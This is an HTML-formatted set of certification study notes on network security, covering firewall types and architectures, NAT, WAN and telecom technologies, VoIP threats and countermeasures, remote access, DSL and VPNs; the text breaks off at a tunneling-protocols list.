&lt;b&gt;&lt;i&gt;Stateful-Inspection Firewall&lt;/i&gt;&lt;/b&gt;&amp;nbsp;is considered a third-generation firewall. it&amp;nbsp;makes a copy of each accepted packet before transmitting it and repackages the packet to hide the&amp;nbsp;packet&#39;s true origin thus attacker don&#39;t get the source info.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Maintains a state table&lt;/li&gt;
&lt;li&gt;Provides a high degree of security and does not introduce the performance hit that application proxy firewalls&amp;nbsp;introduce&lt;/li&gt;
&lt;li&gt;Is scalable and transparent to users&lt;/li&gt;
&lt;li&gt;Provides data for tracking connectionless protocols such as UDP and ICMP&lt;/li&gt;
&lt;li&gt;Stores and updates the state and context of the data within the packets&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Many firewalls are &lt;u&gt;&lt;i&gt;multihomed&lt;/i&gt;&lt;/u&gt;, meaning they have more than one NIC. This allows the company to create several&amp;nbsp;independent DMZs. One interface is connected to the untrusted network (usually the Internet), another interface is&lt;br /&gt;
connected to the trusted network (internal company network), and the other interfaces can segment different DMZs.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pros and Cons of Proxy Firewalls&lt;/b&gt;&lt;br /&gt;
Pros:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Looks at the information within a packet, possibly all the way up to the application layer.&lt;/li&gt;
&lt;li&gt;Provides better security than packet filtering.&lt;/li&gt;
&lt;li&gt;Breaks the connection between trusted and untrusted systems.&lt;/li&gt;
&lt;/ul&gt;
Cons:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Some proxy firewalls support only a limited number of applications.&lt;/li&gt;
&lt;li&gt;Degrades traffic performance.&lt;/li&gt;
&lt;li&gt;Application-based proxy firewalls may have scalability and performance issues.&lt;/li&gt;
&lt;li&gt;Breaks the client/server model, which is good for security but sometimes bad for functionality.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
Application-level&amp;nbsp;proxies inspect the packet up through the application layer and make access decisions based on the content of the&amp;nbsp;packet.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;Have a different proxy required for each service allowed&lt;/li&gt;
&lt;li&gt;Provide more intricate control than circuit-level proxy firewalls&lt;/li&gt;
&lt;li&gt;Require more processing per packet and thus are slower than a circuit-level proxy firewall&lt;/li&gt;
&lt;li&gt;They have extensive logging capabilities&lt;/li&gt;
&lt;li&gt;capable of authenticating users directly&lt;/li&gt;
&lt;li&gt;can address spoofing attacks and&amp;nbsp;other sophisticated attacks.&lt;/li&gt;
&lt;li&gt;Tend to be limited in terms of support for new network applications and protocols.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
A circuit-level proxy creates a circuit between the client computer and the server and provides protection at the session&amp;nbsp;layer. It does not understand or care about the higher-level issues an application-level proxy deals with. It knows the&amp;nbsp;source and destination addresses and makes access decisions based on this type of header information. Similar to packet filtering.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;Do not require a proxy for each and every service&lt;/li&gt;
&lt;li&gt;Do not provide the detailed access control an application-level proxy firewall provides&lt;/li&gt;
&lt;li&gt;Provide security for a wider range of protocols&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;SOCKS&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;is an example of a circuit-level proxy gateway that provides a secure channel between two computers.&amp;nbsp;
SOCKS proxy firewall intercepts client requests to the internet, applies policies/rules on it and does the same for response from the internet.&lt;/li&gt;
&lt;li&gt;The SOCKS server usually sits behind a router, and each SOCKS client must have SOCKS software&amp;nbsp;installed.&lt;/li&gt;
&lt;li&gt;It can be resource intensive.&lt;/li&gt;
&lt;li&gt;It provides authentication and encryption features similar to other VPN protocols, but is not considered a traditional&amp;nbsp;VPN protocol.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;b&gt;Dynamic Packet Filtering&lt;/b&gt;&lt;br /&gt;
Fourth-generation firewall.&amp;nbsp;An internal system could choose a source port of 11,111 for its message to the outside system. This frame goes to the&amp;nbsp;dynamic packet-filtering firewall, which builds an ACL, as illustrated in Figure 7-37, that indicates a response from the&amp;nbsp;destination computer to this internal system&#39;s IP address and port 11,111 is to be allowed.&lt;br /&gt;
&lt;br /&gt;
A &lt;b&gt;kernel proxy firewall&lt;/b&gt; is considered a fifth-generation firewall. It differs from all the previously discussed firewall&amp;nbsp;technologies because it creates dynamic, customized TCP/IP stacks when a packet needs to be evaluated.&amp;nbsp;The packet is scrutinized at every layer of the stack.It is still a proxy based&amp;nbsp;system&amp;nbsp;and it can perform NAT by changing the source address, as do the preceding proxy-based firewalls.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Best practices for any firewall type:&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;lock ICMP redirect traffic.&lt;/li&gt;
&lt;li&gt;ACLs should be simple and direct.&lt;/li&gt;
&lt;li&gt;Disallow source routing.&lt;/li&gt;
&lt;li&gt;Close unnecessary ports with dangerous services.&lt;/li&gt;
&lt;li&gt;Disable unused interfaces.&lt;/li&gt;
&lt;li&gt;Block directed IP broadcasts.&lt;/li&gt;
&lt;li&gt;Block incoming packets with internal address (they are spoofed).&lt;/li&gt;
&lt;li&gt;Block multicast traffic if not needed.&lt;/li&gt;
&lt;li&gt;Enable logging.&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Bastion host&lt;/b&gt; is just another name for a locked-down (or hardened) system. A bastion host is usually a highly exposed&amp;nbsp;device, because it is the front line in a network&#39;s security and its existence is known on the Internet.&lt;br /&gt;
&lt;br /&gt;
A &lt;b&gt;screened &lt;/b&gt;host(single-tiered configuration) is a firewall that communicates directly with a perimeter router and the internal network( the firewall is screened by the router).&amp;nbsp;If the firewall is an application-based system, protection is provided at the network layer by the router, and at the&amp;nbsp;application layer by the proxy. This arrangement offers a high degree of security, because for an attacker to be successful,&amp;nbsp;she would have to compromise two systems.&lt;br /&gt;
&lt;br /&gt;
A &lt;b&gt;screened-subnet &lt;/b&gt;(two-tiered configuration) architecture adds another layer of security to the screened-host architecture. The external firewall&amp;nbsp;screens the data entering the DMZ network. However, instead of the firewall then redirecting the traffic to the internal&amp;nbsp;network, an interior firewall also filters the traffic. The use of these two physical firewalls creates a DMZ.&amp;nbsp;The screened-subnet approach provides more protection than a stand-alone firewall or a screened-host firewall because&amp;nbsp;three devices are working together. This solution&amp;nbsp;provides the highest security, but is the most complex.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Firewall Tips&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;zombies&amp;nbsp;:&amp;nbsp;some&amp;nbsp;program, on the internal network is spoofing traffic. —the agents used in distributed DoS (DDos)&amp;nbsp;attacks.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;If packets are leaving a network with different source addresses, these packets are spoofed and the network is&amp;nbsp;most likely being used as an accomplice in a DDoS attack.&lt;/li&gt;
&lt;li&gt;its firewalls should reassemble fragmented packets before being sent on to&amp;nbsp;their destination. With&amp;nbsp;fragmented packet the firewall is seeing only part of the picture.&lt;/li&gt;
&lt;li&gt;Deny source routing.&lt;/li&gt;
&lt;li&gt;Dual-homed: Must disable a computer&#39;s forwarding and routing functionality so the two networks are truly segregated.&lt;/li&gt;
&lt;li&gt;Border firewalls provide little protection against the inside attacker.&lt;/li&gt;
&lt;li&gt;Firewalls do not protect against rogue modems in listening mode.&lt;/li&gt;
&lt;li&gt;Firewalls do not protect against rogue wireless access points (APs).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;Network Segregation and Isolation&lt;/b&gt;&lt;/h3&gt;
implement routers that do not pass on broadcast and collision domain information and using different&amp;nbsp;address schemes for different segments.&lt;br /&gt;
&lt;br /&gt;
Within DNS servers, DNS namespaces are split up administratively into zones. For instance, one zone may contain all hostnames for&amp;nbsp;the marketing and accounting department.&amp;nbsp;resource records(map hostnames to IP addresses).&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;Unauthorized zone&amp;nbsp;transfers(between dns servers) can take place if the DNS servers are not properly configured to restrict it.&lt;/li&gt;
&lt;li&gt;DNS pharming attacks&lt;/li&gt;
&lt;li&gt;use of stronger authentication&amp;nbsp;mechanisms such as the DNSSEC (DNS security)&lt;/li&gt;
&lt;li&gt;split DNS, which means a DNS server in the DMZ handles external resolution&amp;nbsp;requests, while an internal DNS server handles only internal requests. This helps ensure that the internal DNS&amp;nbsp;has layers of protection and is not exposed by being &quot;Internet facing.&quot;&lt;/li&gt;
&lt;li&gt;Awareness of domain grabbing and cyber squatting issues will help you better&amp;nbsp;plan out your online presence and allow you to steer clear of these traps.&lt;/li&gt;
&lt;li&gt;host file manipulation&lt;/li&gt;
&lt;li&gt;attackers also use character encoding to obscure web addresses that may arouse user suspicion&lt;/li&gt;
&lt;li&gt;Most directory service databases are built on the X.500 model and use the Lightweight Directory Access&amp;nbsp;Protocol (LDAP) to access the directory database&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;A meta-directory holds top-level information about the directory&amp;nbsp;itself, which enables a user in one directory to quickly locate an object he is looking for in a totally different directory.&lt;/li&gt;
&lt;li&gt;The newest LDAP version, version 3, has an extensive security model embedded that supports Internet security&amp;nbsp;standards such as transport layer security (TLS).&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;NAT&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
is a gateway that lies between a network and the Internet (or another network) that performs transparent routing and&amp;nbsp;address translation.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;great security benefit by&amp;nbsp;hiding the true IP scheme.&lt;/li&gt;
&lt;li&gt;NAT enables a company to use private IP addresses that have been reserved for internal LAN address use, as outlined in RFC 1918&lt;/li&gt;
&lt;li&gt;Static mapping: The NAT software has a pool of public IP addresses configured. Each private address is statically&amp;nbsp;mapped to a specific public address.&amp;nbsp;This is generally used for servers that need to keep the same public address at all&amp;nbsp;times.&lt;/li&gt;
&lt;li&gt;Dynamic mapping The NAT software has a pool of IP addresses, but instead of statically mapping a public address to&amp;nbsp;a specific private address, it works on a first-come, first-served basis.&lt;/li&gt;
&lt;li&gt;Port address translation (PAT) The company owns and uses only one public IP address for all systems that need to&amp;nbsp;communicate outside the internal network.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The NAT device changes the IP address in the computer&#39;s packet header to&amp;nbsp;include the source port which is mapped to private ip&amp;nbsp;address&amp;nbsp;and private&amp;nbsp;computers&amp;nbsp;source port..&lt;/li&gt;
&lt;li&gt;Most NAT implementations are stateful, meaning they keep track of a communication between the internal host and an&amp;nbsp;external host until that session is ended.&lt;/li&gt;
&lt;li&gt;NAT is a service usually performed on routers or&amp;nbsp;firewalls within a company&#39;s screened subnet.&lt;/li&gt;
&lt;ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;Intranets/Extranets/Telecommunications&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;companies use EDI(electronic data interchange) for internal communication and for communication with other companies.&lt;/li&gt;
&lt;li&gt;A value-added network (VAN) is an&amp;nbsp;EDI infrastructure developed and maintained by a service bureau.&lt;/li&gt;
&lt;li&gt;A metropolitan area network (MAN) is usually a backbone that connects LANs to each other and LANs to WANs, the&amp;nbsp;Internet, and telecommunications and cable networks. A majority of today&#39;s MANs are Synchronous Optical Networks&amp;nbsp;(SONETs) or FDDI rings provided by the telecommunications service providers.&lt;/li&gt;
&lt;li&gt;SONET is self-healing, meaning that if a break in the line occurs, it can use a backup redundant ring to ensure&amp;nbsp;transmission continues.&lt;/li&gt;
&lt;li&gt;SONET, which transmitted digitized&amp;nbsp;voice signals in packets and is the standard for telecommunications transmission over fiber-optic cables.&lt;/li&gt;
&lt;li&gt;T1 trunks, which carried 24 voice communication calls over two&amp;nbsp;pairs of copper wires.&lt;/li&gt;
&lt;li&gt;longer-distance call uses T3 lines, which can carry up to 28 T1 lines.&lt;/li&gt;
&lt;li&gt;Communication error rates are lower in LAN environments than in WAN environments, because of&amp;nbsp;the complexity of WAN where traffic may have to travel hundreds or thousands of miles/devices. So most&amp;nbsp;LAN MAC protocols&amp;nbsp;are connectionless and most WAN communication protocols are connection oriented.&lt;/li&gt;
&lt;li&gt;Asynchronous Transfer Mode (ATM) encapsulates data&amp;nbsp;in fixed cells and can be used to deliver data over the SONET network.&lt;/li&gt;
&lt;li&gt;SONET is the standard for North America, while SDH(Synchronous Digital Hierarchy) is the standard for&amp;nbsp;the rest of the world. SDH and SONET are similar but just different enough to be incompatible.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Dedicated Links&lt;/b&gt;&lt;br /&gt;
A dedicated link is also called a leased line or point-to-point link. Other options&amp;nbsp;include X.25, frame relay, and ATM technologies.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Originally, T1 and T3 lines were used by the carrier companies, but they have been replaced mainly with optical lines.&lt;/li&gt;
&lt;li&gt;fractional T lines&amp;nbsp;are split up between companies.&lt;/li&gt;
&lt;li&gt;They are expensive and inflexible.&lt;/li&gt;
&lt;li&gt;multiplex functionality through time-division multiplexing (TDM).&lt;/li&gt;
&lt;li&gt;Statistical time-division multiplexing (STDM):Transmits several types of data simultaneously across a single transmission cable or line (such as a T1 or T3.&lt;/li&gt;
&lt;li&gt;Frequency-division multiplexing: An available wireless spectrum is used to move data.Each frequency within the spectrum is used as a channel to move data.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;WAN Technologies&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A CSU/DSU is necessary&amp;nbsp;because the signals and frames can vary between the LAN equipment and the WAN equipment used by service providers.&lt;/li&gt;
&lt;/ul&gt;
DSU device converts digital signals from routers, bridges, and multiplexers into signals that can be transmitted over&amp;nbsp;the telephone company&#39;s digital lines.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The CSU/DSU provides a digital interface for Data Terminal Equipment (DTE), such as terminals, multiplexers, or routers,and an interface to the Data Circuit-Terminating Equipment (DCE) device, such as a carrier&#39;s switch.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;Switching&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Circuit switching&lt;/b&gt; sets up a virtual&amp;nbsp;connection that acts like a dedicated link between two systems. Eg: ISDN and telephone calls.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Packet switching&lt;/b&gt;, on the other hand, does not set up a dedicated virtual link, and packets from one connection can pass&amp;nbsp;through a number of different individual devices. Examples;&amp;nbsp;Internet, X.25, and frame relay.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Packet switching is based on STDM.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;Frame relay&lt;/b&gt; is a WAN protocol that operates at the data link layer and uses packet-switching&amp;nbsp;technology to share the same WAN media.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;companies can pay more to ensure that a higher level of bandwidth will always be available pay a committed information rate(CIR)&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Frame relay (and X.25) forwards frames across virtual circuits.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;permanent virtual circuit (PVC) works like a private line for a customer with an agreed-upon&amp;nbsp;bandwidth availability.&lt;/li&gt;
&lt;li&gt;for switched virtual circuits (SVCs),&amp;nbsp;a circuit must be built.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;X.25&lt;/b&gt; is a switching technology that uses carrier switches to provide connectivity for many different networks.&amp;nbsp;Data are divided into 128 bytes and encapsulated in High-level Data Link Control (HDLC) frames.&lt;/li&gt;
&lt;ul&gt;&lt;/ul&gt;
&lt;li&gt;frame&amp;nbsp;relay is much more advanced and efficient when compared to X.25, because the X.25 protocol was developed and&amp;nbsp;released in the 1970s.&lt;/li&gt;
&lt;li&gt;Asynchronous Transfer Mode (&lt;b&gt;ATM&lt;/b&gt;) is another switching technology, but &amp;nbsp;it&amp;nbsp;uses a cell-switching method.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Like frame relay, it is a connection-oriented switching technology, and creates and uses a fixed channel.&lt;/li&gt;
&lt;li&gt;Transfers data in fixed cells(
53-byte), is a WAN technology&lt;/li&gt;
&lt;li&gt;Data at very high rates.Very fast because of the low overhead&lt;/li&gt;
&lt;li&gt;virtual circuits used can guarantee bandwidth and QoS. For these reasons, ATM is a good carrier for voice and video transmission.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Quality of Service (QoS)&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Constant Bit Rate (CBR) A connection-oriented channel that provides a consistent data throughput for time-sensitive&amp;nbsp;applications, such as voice and video applications.&lt;/li&gt;
&lt;li&gt;Variable Bit Rate (VBR) A connection-oriented channel best used for delay-insensitive applications because the data&amp;nbsp;throughput flow is uneven&lt;/li&gt;
&lt;li&gt;Unspecified Bit Rate (UBR) A connectionless channel that does not promise a specific data throughput rate.&lt;/li&gt;
&lt;li&gt;Available Bit Rate (ABR) A connection-oriented channel that allows the bit rate to be adjusted&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Switched Multimegabit Data Service (SMDS) is a high-speed packet-switched technology used to enable customers to&amp;nbsp;extend their LANs across MANs and WANs.&lt;/li&gt;
&lt;li&gt;Synchronous Data Link Control (SDLC) protocol is based on networks that use dedicated, leased lines with permanent&amp;nbsp;physical connections.&lt;/li&gt;
&lt;li&gt;High-level Data Link Control (HDLC) protocol is also a bit-oriented link layer protocol used for transmission over&amp;nbsp;synchronous lines. HDLC is an extension of SDLC.&lt;/li&gt;
&lt;li&gt;High-Speed Serial Interface (HSSI) is an interface used to connect multiplexers and routers to high-speed&amp;nbsp;communications services such as ATM and frame relay.&lt;/li&gt;
&lt;li&gt;Multiservice access technologies combine several types of communication categories (data, voice, and video) over one&amp;nbsp;transmission line.&lt;/li&gt;
&lt;li&gt;The regular phone system is based on a circuit-switched, voice-centric network, referred to as&amp;nbsp;the public-switched telephone network (PSTN).&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The PSTN is being replaced by data-centric, packet-oriented networks that can support voice, data, and video.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;When Voice over IP (VoIP) is used, it employs the&amp;nbsp;Session Initiation Protocol (SIP), which sets up and breaks down the call sessions, just as SS7 does for non-IP phone&amp;nbsp;calls.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;SIP consists of two major components: the User Agent Client (UAC) and User Agent Server (UAS). The UAC is the&amp;nbsp;application that creates the SIP requests for initiating a communication session.&amp;nbsp;The UAS is the SIP server, which is responsible for handling all&amp;nbsp;routing and signaling involved in VoIP calls.&lt;/li&gt;
&lt;li&gt;SIP Handshaking:&amp;nbsp;INVITE packet to destination while a continuous TRYING packet to originator. Then a RINGING packet to origin, then an OK packet. ACK packet from origin to destination.A BYE is send at the end.&lt;/li&gt;
&lt;li&gt;The actual voice stream is carried on media protocols such as the Real-time Transport Protocol&amp;nbsp;(RTP).&lt;/li&gt;
&lt;li&gt;SIP-based signaling suffers from the lack of encrypted call channels and authentication of control signals. Attackers can&amp;nbsp;tap into the SIP server and client communication to sniff out login IDs, passwords/PINs, and phone numbers.&lt;/li&gt;
&lt;li&gt;VoIP devices are also&amp;nbsp;vulnerable to DoS attacks. Attackers can flood RTP servers with call requests in order to overwhelm its processing capabilities.&lt;/li&gt;
&lt;li&gt;One can connect laptops simulating IP phones to the Ethernet interfaces that IP phones use and&amp;nbsp;can then be used to carry out intrusions and DoS attacks.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;If attackers&amp;nbsp;are able to intercept voice packets, they may eavesdrop onto ongoing conversations as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Attackers can also intercept&amp;nbsp;RTP packets to inject arbitrary audio/video data that may be a&amp;nbsp;cause of annoyance to the actual participants.&lt;/li&gt;
&lt;li&gt;Attackers can also impersonate a server and issue commands.&lt;/li&gt;
&lt;li&gt;SPIT&amp;nbsp;(Spam over Internet Telephony) causes serious loss of VoIP bandwidth and is a time-wasting nuisance. It cannot be deleted like spam on first sight, the victim has to&amp;nbsp;go through the entire message. SPIT is also a major cause of overloaded voicemail servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Countermeasures&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Authorization of individual IP terminals ensures that only pre-listed devices are allowed to access the network.&lt;/li&gt;
&lt;li&gt;It is essential for two&amp;nbsp;communicating VoIP devices to be able to authenticate their identities by using fixed&amp;nbsp;hardware identification parameters, such as MAC addresses or other &quot;soft&quot; codes that may be assigned by servers (for&amp;nbsp;example, layered encryption techniques).&lt;/li&gt;
&lt;li&gt;Keep patches updated on each network device.&lt;/li&gt;
&lt;li&gt;Install and maintain;&amp;nbsp;Stateful firewalls,VPN,,&amp;nbsp;Intrusion detection.&lt;/li&gt;
&lt;li&gt;Filter unnecessary ports on routers, switches, PCs, and IP telephones.&lt;/li&gt;
&lt;li&gt;Employ real-time monitoring that looks for attacks, tunneling, and abusive call patterns through IDS/IPS.&lt;/li&gt;
&lt;li&gt;Employ content monitoring.&lt;/li&gt;
&lt;li&gt;Use encryption when data (voice, fax, video) cross an untrusted network.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Use a two-factor authentication requirement.&lt;/li&gt;
&lt;li&gt;Limit the number of calls via media gateways.&lt;/li&gt;
&lt;li&gt;Close the media sessions after completion.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Transport Layer Security (TLS) ensures that all SIP packets are&lt;/li&gt;
&lt;li&gt;conveyed within an encrypted and secure tunnel.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;Skype &lt;/b&gt;is a popular Internet telephony application that uses a peer-to-peer communication model rather than the traditional&amp;nbsp;client/server approach of VoIP systems. User records are maintained across distributed member nodes and can&amp;nbsp;quickly accommodate user surges&lt;/li&gt;
&lt;li&gt;Applications that are time sensitive, such as voice and video signals, need to work over an isochronous network.&amp;nbsp;An isochronous network contains the necessary protocols and devices that guarantee continuous bandwidth&amp;nbsp;without interruption.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;H.323 Gateways&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The ITU-T recommendations cover a wide variety of multimedia communication services. H.323 is part of this family of&amp;nbsp;recommendations, but it is also a standard that deals with video, real-time audio, and data packet-based transmissions&amp;nbsp;where multiple users can be involved with the data exchange.&lt;/li&gt;
&lt;li&gt;H.323 gateways connect different types of systems and devices and provide the necessary&amp;nbsp;translation functionality&lt;/li&gt;
&lt;li&gt;The best of both worlds is to combine IP over ATM or frame relay.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;A company has on its premises a PBX, which is a switch between the company and the PSTN, and T1 or T3&amp;nbsp;lines connecting the PBX to the telephone company&#39;s central office, which houses switches that act as ramps onto the&amp;nbsp;PSTN. When WAN technologies are used instead of accessing the PSTN through the central office switches, the data are&amp;nbsp;transmitted over the frame relay, or ATM, cloud&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;b&gt;Remote Access&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Types of remote connectivity methods used are VPNs, dial-up&amp;nbsp;connections, ISDN, cable modems, and DSL connections.&amp;nbsp;Remote access is usually gained by connecting to a remote access server (RAS), which acts as a gateway and can be an&amp;nbsp;endpoint to a PPP session.&amp;nbsp;RADIUS is a&amp;nbsp;type of access authentication technology used in remote-connection&amp;nbsp;situations.Strong two-factor user authentication should be used via &lt;span style=&quot;color: red;&quot;&gt;RADIUS or TACACS&lt;/span&gt;+ servers.&lt;br /&gt;
Caller ID and callback settings, as well as two-factor authentication, can be configured on the RAS server. Callback option requires the RAS to call the user requesting&amp;nbsp;access in return.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;If a company has not implemented any (or strong) access control over the RAS, attackers can easily walk&amp;nbsp;into its network without ever having to bother with the firewall.&lt;/li&gt;
&lt;li&gt;Wardialing enables an attacker to find all the modems that provide remote&amp;nbsp;access into a network.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Some corporate PBX phone systems have the&amp;nbsp;capability to detect modem signals on analog phone lines and audit/record their usage. This can be implemented to&amp;nbsp;support the appropriate security policy of &quot;no unauthorized devices are to be attached to the data and telephone network.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;ISDN&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;was developed to&amp;nbsp;replace the aging telephone analog systems, but it has yet to catch on to the level expected.&lt;/li&gt;
&lt;li&gt;ISDN is a set of telecommunications services that can be used over public and private telecommunications networks and&amp;nbsp;provides a digital point-to-point circuit-switched medium&lt;/li&gt;
&lt;li&gt;ISDN&amp;nbsp;provides more functionality and higher&amp;nbsp;bandwidth than&amp;nbsp;a modem&amp;nbsp;on an as-needed basis and can be used for LAN-to-LAN&amp;nbsp;on-demand connectivity, instead of using an expensive dedicated link.&lt;/li&gt;
&lt;li&gt;Basic Rate Interface (BRI)&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;BRI has two B channels that enable&amp;nbsp;data to be transferred and one D channel that provides for call setup, connection management, error control, caller ID, and&amp;nbsp;more. bandwidth available with 144 Kbps&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Primary Rate Interface PRI, which has 23 B channels and one D channel, is more&amp;nbsp;commonly used in corporations.64KBPS per channel.&lt;/li&gt;
&lt;li&gt;company can also choose to implement dial-on-demand&amp;nbsp;routing (DDR), which can work over ISDN.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;It is usually implemented by companies that send&amp;nbsp;out only a small amount of WAN traffic and is a much cheaper solution than a real WAN implementation&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
Digital Subscriber Line (&lt;b&gt;DSL&lt;/b&gt;)&lt;br /&gt;
&lt;br /&gt;
It can provide 6 to 30 times higher bandwidth speeds than ISDN and analog&lt;br /&gt;
technologies. You have to be within a 2.5-mile radius of the DSL&amp;nbsp;service provider&#39;s equipment otherwise&amp;nbsp;the transmission rates decrease.&amp;nbsp;can provide up to a 52-Mbps transmission.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Symmetrical DSL (SDSL) Data travel upstream and downstream at the same rate.&lt;/li&gt;
&lt;li&gt;Asymmetrical DSL (ADSL) Data travel downstream faster than upstream.&lt;/li&gt;
&lt;li&gt;ISDN DSL (IDSL) Provides DSL for customers who cannot get SDSL or ADSL because of their distance&lt;/li&gt;
&lt;li&gt;High-bit-rate DSL (HDSL) Provides T1 (1.544 Mbps) speeds over regular copper&lt;/li&gt;
&lt;/ul&gt;
Cable modems provide high-speed access, up to 50 Mbps, to the Internet through existing cable coaxial and fiber lines.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Virtual private network (VPN)&lt;/b&gt;&lt;br /&gt;
secure, private connection through a public network or an otherwise unsecure&lt;br /&gt;
environment&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The protocols that can be used for VPNs are Point-to-Point Tunneling Protocol&amp;nbsp;(PPTP), IPSec, and L2TP.&lt;/li&gt;
&lt;li&gt;The user first makes a PPP connection to an ISP, and the ISP makes a full connection for the user to the destination&amp;nbsp;network.&amp;nbsp;PPP encapsulates datagrams to be properly transmitted over a telecommunication link.&lt;/li&gt;
&lt;li&gt;VPN can&amp;nbsp;also to provide a connection between two&amp;nbsp;routers (many times called a gateway-to-gateway connection)&lt;/li&gt;
&lt;li&gt;VPN can also take&amp;nbsp;place between firewalls that have VPN functionality&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;Tunneling Protocols&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A tunnel is a virtual path&amp;nbsp;across a network that delivers packets that are encapsulated and possibly encrypted.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;If two networks use IPX and need to&amp;nbsp;communicate across the Internet, these messages must also be encapsulated in a protocol that the Internet can&amp;nbsp;understand, such as IP.&lt;/li&gt;
